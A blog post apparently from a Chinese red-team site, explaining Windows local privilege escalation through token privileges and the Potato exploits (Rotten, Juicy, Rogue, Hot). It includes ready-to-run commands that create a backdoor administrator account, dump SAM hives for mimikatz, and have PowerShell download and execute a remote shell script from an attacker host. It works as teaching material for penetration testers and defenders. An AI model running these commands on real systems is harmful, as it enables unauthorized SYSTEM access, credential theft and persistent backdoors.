<html>

<head>
    <meta charset="utf-8" />
<meta name="description" content="" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>
    内网本地提权 | 面包and牛奶的小窝
</title>
<link rel="shortcut icon" href="https://mianbao-niunai.gitee.io/mianbao-niunai/favicon.ico?v=1661438432526">
<!-- <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.2/css/all.css" integrity="sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr" crossorigin="anonymous"> -->
<link href="https://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.10.0/katex.min.css">
<link rel="stylesheet" href="https://mianbao-niunai.gitee.io/mianbao-niunai/styles/main.css">
<!-- js -->
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>
<script src="https://mianbao-niunai.gitee.io/mianbao-niunai/media/js/jquery.sticky-sidebar.min.js"></script>
<script src="https://cdn.bootcss.com/highlight.js/9.12.0/highlight.min.js"></script>
<script src="https://cdn.bootcss.com/moment.js/2.23.0/moment.min.js"></script>


        
</head>

<body>
    <div class="main">
        <div class="header">
    <div class="nav">
        <div class="logo">
            <a href="https://mianbao-niunai.gitee.io/mianbao-niunai">
                <img class="avatar" src="https://mianbao-niunai.gitee.io/mianbao-niunai/images/avatar.png?v=1661438432526" alt="">
            </a>
            <div class="site-title">
                <h1>
                    面包and牛奶的小窝
                </h1>
            </div>
        </div>
        <span class="menu-btn fa fa-align-justify"></span>
        <div class="menu-container">
            <ul>
                
                    
                            <li>
                                <a href="/" class="menu">
                                    首页
                                </a>
                            </li>
                            
                                
                    
                            <li>
                                <a href="/archives" class="menu">
                                    归档
                                </a>
                            </li>
                            
                                
                    
                            <li>
                                <a href="/tags" class="menu">
                                    标签
                                </a>
                            </li>
                            
                                
            </ul>
        </div>
    </div>
</div>

<script>
    $(document).ready(function() {
        $(".menu-btn").click(function() {
            $(".menu-container").slideToggle();
        });
        $(window).resize(function() {

            if (window.matchMedia('(min-width: 960px)').matches) {
                $(".menu-container").css('display', 'block')
            } else {
                $(".menu-container").css('display', 'none')
            }

        });
    });
</script>

            <div id="main-content" class="post-detail main-container">
                <!-- left -->
                <div id="content" class="main-container-left">
                    <article class="post i-card">
                        <h2 class="post-title">
                            内网本地提权
                        </h2>
                        <div class="post-info">
                            <time class="post-time">2022-06-28</time>
                            
                                <a href="https://mianbao-niunai.gitee.io/mianbao-niunai/shen-tou-ce-shi/" class="post-tag i-tag
                            i-tag-warning">
                            #渗透测试
                        </a>
                                
                                <a href="https://mianbao-niunai.gitee.io/mianbao-niunai/red-team/" class="post-tag i-tag
                            i-tag-success">
                            #Red Team
                        </a>
                                
                        </div>
                        
                            <div class="post-feature-image" style="background-image: url('https://mianbao-niunai.gitee.io/mianbao-niunai/post-images/nei-wang-ti-quan.jpg')"></div>
                            
                                <div class="post-content">
                                    <h2 id="提权原理分析">提权原理分析</h2>
<!-- more -->
<p>九大权限是什么？</p>
<blockquote>
<p>答：解释如下</p>
<table>
<thead>
<tr>
<th>权限</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>SeImpersonatePrivilege</td>
<td>身份验证后模拟客户端</td>
</tr>
<tr>
<td>SeAssignPrimaryTokenPrivilege</td>
<td>替换一个进程级令牌</td>
</tr>
<tr>
<td>SeTcbPrivilege</td>
<td>以操作系统方式执行</td>
</tr>
<tr>
<td>SeBackupPrivilege</td>
<td>备份文件和目录</td>
</tr>
<tr>
<td>SeRestorePrivilege</td>
<td>还原文件和目录</td>
</tr>
<tr>
<td>SeCreateTokenPrivilege</td>
<td>创建令牌对象</td>
</tr>
<tr>
<td>SeLoadDriverPrivilege</td>
<td>加载和卸载设备驱动程序</td>
</tr>
<tr>
<td>SeTakeOwnershipPrivilege</td>
<td>取得文件或其他对象的所有权</td>
</tr>
<tr>
<td>SeDebugPrivilege</td>
<td>调试程序</td>
</tr>
</tbody>
</table>
</blockquote>
<p>&quot;烂土豆&quot;是什么？</p>
<blockquote>
<p>答：它是通过欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。<br>
对这个认证过程使用中间人攻击（NTLM重放），为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的；模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户（IIS、MSSQL等）有这个权限，大多数用户级的账户没有这个权限。</p>
</blockquote>
<p>补充：烂土豆(Rotten Potato) MS16-075提权是一个本地提权，只针对本地用户，不支持域用户</p>
<p>&quot;烂土豆&quot;的前提条件是什么？</p>
<blockquote>
<p>答：通过烂土豆提权的重点是模拟令牌，在提权的过程中，我们最好已经获得了一个具有SeImpersonate权限或其他同等权限的账户，通常Windows中的许多服务具有此权限（IIS和SQL Server等）</p>
</blockquote>
<p>补充：IIS或SQL Server的用户通常具有<code>SeImpersonatePrivilege</code>和<code>SeAssignPrimaryPrivilege</code>权限；Backup service用户通常具有<code>SeBackupPrivilege</code>和<code>SeRestorePrivilege</code>权限</p>
<p>&quot;烂土豆&quot;的优点是什么？</p>
<blockquote>
<ol>
<li>不会存在无法利用的情况</li>
<li>Win系统全版本通杀</li>
<li>提权速度快，不用像hot potato那样有时候需要等Windows更新才能使用</li>
</ol>
</blockquote>
<p>BITS是什么？</p>
<blockquote>
<p>答：BITS(后台智能传送服务)是一个Windows组件，它可以在前台或后台异步传输文件，为保证其他网络应用程序获得响应而调整传输速度，并在重新启动计算机或重新建立网络连接之后自动恢复文件传输</p>
</blockquote>
<p>补充：系统管理员可以通过BITS从HTTP Web服务器和SMB文件共享下载与上传文件；关键是BIT实现了IMarshal接口并允许代理声明强制NTLM身份验证</p>
<p>CLSID密钥是什么？</p>
<blockquote>
<p>答：CLSID是标识COM类对象的全局唯一标识符。 如果服务器或容器允许链接到其嵌入对象，则需要为每个支持的对象类注册一个CLSID</p>
</blockquote>
<h2 id="win九大权限">Win九大权限</h2>
<h5 id="seimpersonateprivilege">SeImpersonatePrivilege</h5>
<blockquote>
<ol>
<li>管理员或者本地的服务账户</li>
<li>由服务控制管理器启动的服务</li>
<li>由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器</li>
<li>IIS与SqlServer用户</li>
</ol>
</blockquote>
<p>如果攻击者获得了该系统的权限时，就代表了我们可以通过token窃取实现降权或提权；即盗取当前计算机上的其他令牌供攻击者使用</p>
<p>利用思路</p>
<ul>
<li>利用NTLM Relay to Local Negotiation获得System用户的Token 可使用开源工具Rotten  Potato、lonelypotato或者Juicy Potato</li>
<li>通过WinAPI CreateProcessWithToken创建新进程，传入System用户的Token  具有SeImpersonatePrivilege权限才能创建成功</li>
<li>该Token具有System权限</li>
</ul>
<h5 id="seassignprimarytokenprivilege">SeAssignPrimaryTokenPrivilege</h5>
<blockquote>
<ol>
<li>利用NTLM Relay to Local Negotiation获得System用户的Token</li>
<li>通过WinAPI CreateProcess创建一个挂起的新进程，参数设置为CREATE_SUSPENDED</li>
<li>通过WinAPI NtSetInformationProcess将新进程的Token替换为System用户的Token</li>
<li>该Token具有System权限</li>
</ol>
</blockquote>
<p>利用原理：跟SeImpersonatePrivilege权限的利用原理类似，都是通过NTLM Relay to Local Negotiation来获取system权限的token，区别是获取token后利用system权限的token创建新的进程，如果开启SeImpersonate权限，调用CreateProcessWithToken，传入System权限的Token，创建的进程为System权限，或者如果开启SeAssignPrimaryToken权限，调用CreateProcessAsUser，传入System权限的Token，创建的进程为System权限。</p>
<p>利用场景：拿到iis或者sqlserver用户的权限，使用juicypotato工具进行提权到system</p>
<h5 id="setcbprivilege">SeTcbPrivilege</h5>
<p>如果攻击者获得了该系统的权限时，就相当于获得了该系统的最高权限....</p>
<p>攻击方法：</p>
<blockquote>
<p>调用LsaLogonUser（创建交互式登录会话）获得Token</p>
<p>将该Token添加至Local System account组（核心的，本地系统帐户）</p>
<p>利用该Token赋予的System权限</p>
</blockquote>
<h5 id="sebackupprivilege">SeBackupPrivilege</h5>
<blockquote>
<ol>
<li>backup service</li>
<li>管理员</li>
</ol>
</blockquote>
<p>如果攻击者获得了该系统的权限时，读取注册表中<code>HKEY_LOCAL_MACHINE\SAM</code>、<code>HKEY_LOCAL_MACHINE\SECURITY</code>和<code>HKEY_LOCAL_MACHINE\SYSTEM</code>文件，然后放在mimikatz里面进行破解得到密码；mimikatz命令：<a href="https://shanfenglan.blog.csdn.net/article/details/108149449">SAM文件获取与解密</a></p>
<p>补充：这个权限用来实现备份操作，对当前系统任意文件具有读权限</p>
<h5 id="serestoreprivilege">SeRestorePrivilege</h5>
<p>如果攻击者获得了该系统的权限时（即写入权限），参考映像劫持</p>
<p>补充：不过在win10中不能用</p>
<h5 id="secreatetokenprivilege">SeCreateTokenPrivilege</h5>
<p>攻击方法：</p>
<blockquote>
<ol>
<li>通过WinAPI ZwCreateToken创建Primary Token</li>
<li>将Token添加至local administrator组</li>
<li>该Token具有System权限</li>
</ol>
</blockquote>
<p>如果攻击者获得了该系统的权限时，可以创建windows令牌或者说token，win10中一般用户没有这个权限</p>
<h5 id="seloaddriverprivilege">SeLoadDriverPrivilege</h5>
<p>攻击方法：</p>
<blockquote>
<ol>
<li>加载驱动文件Capcom.sys</li>
<li>Capcom.sys存在漏洞，系统加载后，可从普通用户权限提升至System权限；利用代码<a href="https://github.com/tandasat/ExploitCapcom">链接</a></li>
<li>获得System权限</li>
</ol>
</blockquote>
<h5 id="setakeownershipprivilege">SeTakeOwnershipPrivilege</h5>
<p>原理：与SeRestorePrivilege相同，对系统上的任何文件具有写的权限</p>
<p><strong>利用思路</strong></p>
<p>方案一：</p>
<blockquote>
<p>获得SeTakeOwnershipPrivilege权限，修改注册表HKLM\SOFTWARE\Microsoft\Windows  NT\CurrentVersion\Image File Execution Options</p>
<p>劫持exe文件的启动</p>
<p>实现提权或是作为后门</p>
</blockquote>
<p>方案二：</p>
<blockquote>
<p>获得SeTakeOwnershipPrivilege权限，向任意路径写入dll文件</p>
<p>实现dll劫持</p>
<p>实现提权或是作为后门</p>
</blockquote>
<h5 id="sedebugprivilege">SeDebugPrivilege</h5>
<p>攻击方法</p>
<blockquote>
<ol>
<li>找到system权限的进程</li>
<li>dll注入</li>
<li>获得权限</li>
</ol>
</blockquote>
<p>如果攻击者获得了该系统的权限时，可以实现dll注入的目的</p>
<p>参考：<a href="https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L577">资料</a></p>
<h2 id="烂土豆提权">&quot;烂土豆&quot;提权</h2>
<!-- more -->
<h4 id="msf-烂土豆">MSF-烂土豆</h4>
<p>工具链接：GitHub地址</p>
<p>上传烂土豆到靶机上，通过msf获取meterpreter 查看是否具有Selmpersonate权限</p>
<blockquote>
<p>meterpreter &gt; getprivs</p>
<p>##或者服务器的cmd下键入以下命令<br>
whoami /all<br>
whoami /priv</p>
</blockquote>
<p>再使用incognito执行烂土豆，欺骗得到system令牌</p>
<blockquote>
<p>use incognito<br>
list_tokens -u<br>
execute -cH -f c:\wmpub\potato.exe</p>
</blockquote>
<p>通过MSF令牌模拟system的令牌</p>
<blockquote>
<p>meterpreter &gt; execute -f potato.exe -Hc<br>
meterpreter &gt; list_tokens -u</p>
<p>impersonate_token &quot;NT AUTHORITY\SYSTEM&quot;（模拟成功即可使用）</p>
</blockquote>
<h4 id="juicy-potato-多汁土豆">juicy potato-多汁土豆</h4>
<p>影响版本：juicy potato适用 &lt; Win 10(部分版本)和Windows Server 2019</p>
<p>方案一</p>
<p>工具链接：<a href="https://github.com/ohpe/juicy-potato">GitHub地址</a></p>
<blockquote>
<p>whoami /all<br>
whoami priv</p>
<p>//查看本地用户的权限，是否具有<code>SeImpersonate</code>或<code>SeAssignPrimaryToken</code>权限</p>
<p>netstat -abno//查看RPC默认端口是否为135</p>
<p>C:\wmpub\JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {CLSID}//不同操作系统选择可用的<a href="https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md">CLSID</a></p>
</blockquote>
<p>如果该提权成功，即可获得system权限的shell，之后就是打开任务管理器，关闭<code>explore</code>任务后，再次开启explore任务得到一个system权限的桌面</p>
<p><strong>补充</strong>：</p>
<pre><code class="language-txt">如果开启SeImpersonate权限，juicypotato的参数可以使用-t t 
如果开启SeAssignPrimaryToken权限，juicypotato的参数可以使用-t u 
如果均开启，可以选择-t * 如果均未开启，那么无法提权。

若rpc服务被修改，则使用-n 参数指定修改后的端口，如 -n 111

netsh advfirewall firewall add rule name=&quot;135&quot; protocol=TCP dir=in localport=135 action=allow//添加防火墙规则，允许135端口入站
</code></pre>
<p>方案二</p>
<p>工具链接：<a href="https://github.com/uknowsec/JuicyPotato">GitHub地址</a></p>
<blockquote>
<p>C:\juicyPotato_32.exe -p whoami</p>
<p>//执行命令<br>
execute -f juicypotato.exe -p net user test 123456<br>
execute -f juicypotato.exe -p net localgroup administrators test /add</p>
</blockquote>
<p>补充：Juicy Potato比Rotten Potato使用条件更加的宽松；因为ohpe和解码器在Windows构建审查期间存在配置问题，导致BITS被故意禁用并占用了端口6666</p>
<h4 id="rotten-potato">Rotten Potato</h4>
<p>工具链接：<a href="https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075">GitHub地址</a></p>
<p>影响版本：Rotten Potato适用&lt;Win 10(部分版本)和Win Server 19版本</p>
<p>原理：</p>
<pre><code class="language-txt">1.通过NT AUTHORITY/SYSTEM运行的RPC将尝试通过CoGetInstanceFromIStorage API调用向我们的本地代理进行身份验证

2.135 端口的RPC将用于回复第一个RPC正在执行的所有请求充当模板

3.AcceptSecurityContextAPI调用以在本地模拟NT AUTHORITY/SYSTEM
</code></pre>
<p>攻击流程</p>
<blockquote>
<ol>
<li>
<p>首先使用<code>CoGetInstanceFromIStorage API</code>接口调用欺骗RPC（远程过程调用）；对代理进行身份验证.在此调用中指定了代理 IP/端口</p>
</li>
<li>
<p>通过RPC向代理发送NTLM协商包（协商包被修改为强制本地身份验证）</p>
</li>
<li>
<p>代理依赖的NTLM协商到RPC在端口135被用作模板；同时开始执行对AcceptSecurityContext的调用以强制进行本地身份验证</p>
</li>
<li>
<p>通过<code>RPC 135</code>和<code>AcceptSecurityContext</code>用NTLM Challenge回复</p>
</li>
<li>
<p>将两个数据包的内容混合以匹配本地协商并转发到RPC</p>
</li>
<li>
<p>RPC使用发送到<code>AcceptSecurityContext(Relay NTLM Auth)</code>的NLTM Auth包进行响应，开始执行模拟<code>NT AUTHORITY/SYSTEM</code></p>
</li>
</ol>
</blockquote>
<h4 id="lovely-potato">Lovely Potato</h4>
<p>Lonely Potato是Rotten Potato的改编版，不依赖meterpreter和Decoder制作的&quot;隐身&quot;模块</p>
<h4 id="rogue-potato">Rogue Potato</h4>
<p>影响版本：Rogue Potato版本&gt;= Win 10(部分版本)和Win Server 19</p>
<p>工具连接：<a href="https://github.com/antonioCoco/RoguePotato">GitHub地址</a></p>
<p>原理：</p>
<pre><code class="language-txt">Rogue Potato通过指定远程 IP(攻击者 IP)指示 DCOM 服务器执行远程 OXID 查询在远程 IP 上，设置一个&quot;socat&quot;侦听器，用于将 OXID 解析请求重定向到一个假的OXID RPC 服务器伪造的OXID RPC 服务器实现了ResolveOxid2服务器过程；

该过程将指向受控命名管道[ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]DCOM 服务器将连接到 RPC 服务器以执行IRemUnkown2接口调用。通过连接到命名管道，将执行&quot;身份验证回调&quot;，我们可以通过 RpcImpersonateClient()调用模拟调用者；

然后,令牌窃取者：
1.获取rpcss服务的PID；  
2.打开进程，列出所有句柄，并为每个句柄尝试复制它并获取句柄类型；  
3.如果句柄类型为&quot;Token&quot;且令牌所有者为 SYSTEM，通过尝试CreatProcessAsUser()或CreateProcessWithToken()模拟并启动进程；
</code></pre>
<p>过程：当我们运行RoguePotato.exe，我们可以让它在本地机器上启动该服务，或者我们可以在自己控制的 Windows 机器上启动它并让它到达那里如果我想在本地机器上使用解析器，我需要在我的机器上创建一个隧道，该隧道在 TCP 135 上接收并重定向回目标主机上的解析器</p>
<p>1.<code>powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RoguePotato.exe', 'C:\tmp\RoguePotato.exe')powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RogueOxidResolver.exe', 'C:\tmp\RogueOxidResolver.exe')</code></p>
<p>2.<code>.\RoguePotato.exe -r 主机IP -c &quot;{B91D5831-B1BD-4608-8198-D72E155020F7}&quot; -e &quot;powershell -c iex( iwr http://主机IP:端口/shell.ps1 -UseBasicParsing )&quot; -l 9999</code></p>
<p>3.<code>echo &quot;IEX( IWR http://主机IP:端口/shell1.ps1 -UseBasicParsing)&quot; | iconv -t utf-16le|base64 -w 0</code></p>
<!-- more -->
<p>4.<code>.\RoguePotato.exe -r 1主机IP -e &quot;cmd.exe /c powershell -EncodedCommand Base64加密&quot; -l 9999//无法直接使用powershell命令执行上传shell，所以需要转换为base64值进行提权</code></p>
<h4 id="hot-potato">hot potato</h4>
<p>文章链接：<a href="https://github.com/foxglovesec/Potato">GitHub地址</a></p>
<p>影响版本：hot potato适用=Win7、8、10、Server 08和Server 12</p>
<p>原理：</p>
<pre><code>1.本地NBNS Spoofer：冒充名称解析，强制系统下载恶意WAPD配置

2.伪造WPAD代理服务器：部署malicios WAPD配置，强制系统进行NTLM认证

3.HTTP -&gt; SMB NTLM 中继：将 WAPD NTLM 令牌中继到 SMB 服务以创建提升的进程
</code></pre>
<h2 id="printspoofer提权">PrintSpoofer提权</h2>
<p>在过去的几年中，类似于RottenPotato、RottenPotatoNG或Juicy Potato这样的一些Windows特权模拟工具，已经在攻防安全社区中非常流行。但是，随着操作系统不断的升级，其中也有意或无意地降低了在Windows 10和Windows Service 2016/2019上使用这些工具的效果</p>
<p>原文链接：https://blog.csdn.net/systemino/article/details/106470468</p>
<h2 id="token窃取之降权与提权">token窃取之降权与提权</h2>
<p>原文链接：https://shanfenglan.blog.csdn.net/article/details/111926058</p>

                                </div>
                    </article>
                    <!--  -->
                    
                        <div class="next-post">
                            <div class="next">下一篇</div>
                            <a href="https://mianbao-niunai.gitee.io/mianbao-niunai/hello-gridea/">
                                <h3 class="post-title">
                                    2021年玉玉师傅安全总结有感（APT与安全建设）
                                </h3>
                            </a>
                        </div>
                        
                            <div id="disqus_thread"></div>
                            <div id="gitalk-container"></div>
                </div>
                <!-- middle -->
                <div class="main-container-middle"></div>
                <!-- right -->
                <div id="sidebar" class="main-container-right">
                    
                        <!-- toc -->
                        
    <div class="toc-card i-card ">
        <div class="toc-title i-card-title">目录</div>
        <div class="toc-content">
            <ul class="markdownIt-TOC">
<li>
<ul>
<li><a href="#%E6%8F%90%E6%9D%83%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90">提权原理分析</a></li>
<li><a href="#win%E4%B9%9D%E5%A4%A7%E6%9D%83%E9%99%90">Win九大权限</a><br>
*<br>
*<br>
* <a href="#seimpersonateprivilege">SeImpersonatePrivilege</a><br>
* <a href="#seassignprimarytokenprivilege">SeAssignPrimaryTokenPrivilege</a><br>
* <a href="#setcbprivilege">SeTcbPrivilege</a><br>
* <a href="#sebackupprivilege">SeBackupPrivilege</a><br>
* <a href="#serestoreprivilege">SeRestorePrivilege</a><br>
* <a href="#secreatetokenprivilege">SeCreateTokenPrivilege</a><br>
* <a href="#seloaddriverprivilege">SeLoadDriverPrivilege</a><br>
* <a href="#setakeownershipprivilege">SeTakeOwnershipPrivilege</a><br>
* <a href="#sedebugprivilege">SeDebugPrivilege</a></li>
<li><a href="#%E7%83%82%E5%9C%9F%E8%B1%86%E6%8F%90%E6%9D%83">&quot;烂土豆&quot;提权</a><br>
*
<ul>
<li><a href="#msf-%E7%83%82%E5%9C%9F%E8%B1%86">MSF-烂土豆</a></li>
<li><a href="#juicy-potato-%E5%A4%9A%E6%B1%81%E5%9C%9F%E8%B1%86">juicy potato-多汁土豆</a></li>
<li><a href="#rotten-potato">Rotten Potato</a></li>
<li><a href="#lovely-potato">Lovely Potato</a></li>
<li><a href="#rogue-potato">Rogue Potato</a></li>
<li><a href="#hot-potato">hot potato</a></li>
</ul>
</li>
<li><a href="#printspoofer%E6%8F%90%E6%9D%83">PrintSpoofer提权</a></li>
<li><a href="#token%E7%AA%83%E5%8F%96%E4%B9%8B%E9%99%8D%E6%9D%83%E4%B8%8E%E6%8F%90%E6%9D%83">token窃取之降权与提权</a></li>
</ul>
</li>
</ul>

        </div>
        <script>
            function locateCatelogList() {
                /*获取文章目录集合,可通过:header过滤器*/
                var alis = $('.post-content :header');
                /*获取侧边栏目录列表集合**/
                var sidebar_alis = $('.markdownIt-TOC a');
                /*获取滚动条到顶部的距离*/
                var scroll_height = $(window).scrollTop();
                for (var i = 0; i < alis.length; i++) {
                    /*获取锚点集合中的元素分别到顶点的距离*/
                    var a_height = $(alis[i]).offset().top;
                    if (a_height < scroll_height) {
                        /*高亮显示*/
                        sidebar_alis.removeClass('on');
                        $(sidebar_alis[i]).addClass('on');
                    }
                }
            }
            $(function() {
                /*绑定滚动事件 */
                $(window).bind('scroll', locateCatelogList);
            });
        </script>
    </div>
    
                            

                </div>




            </div>


            <div class="site-footer">
  Powered by <a href="https://mianbao-niunai.gitee.io"_blank">Gridea</a> | 
  <a class="rss" href="https://mianbao-niunai.gitee.io/mianbao-niunai/atom.xml" target="_blank">RSS</a>
</div>

<script>
  hljs.initHighlightingOnLoad()
</script>


    </div>
    <script>
        $('#sidebar').stickySidebar({
            topSpacing: 80,
            // bottomSpacing: 60
        });
    </script>
    
</body>

</html>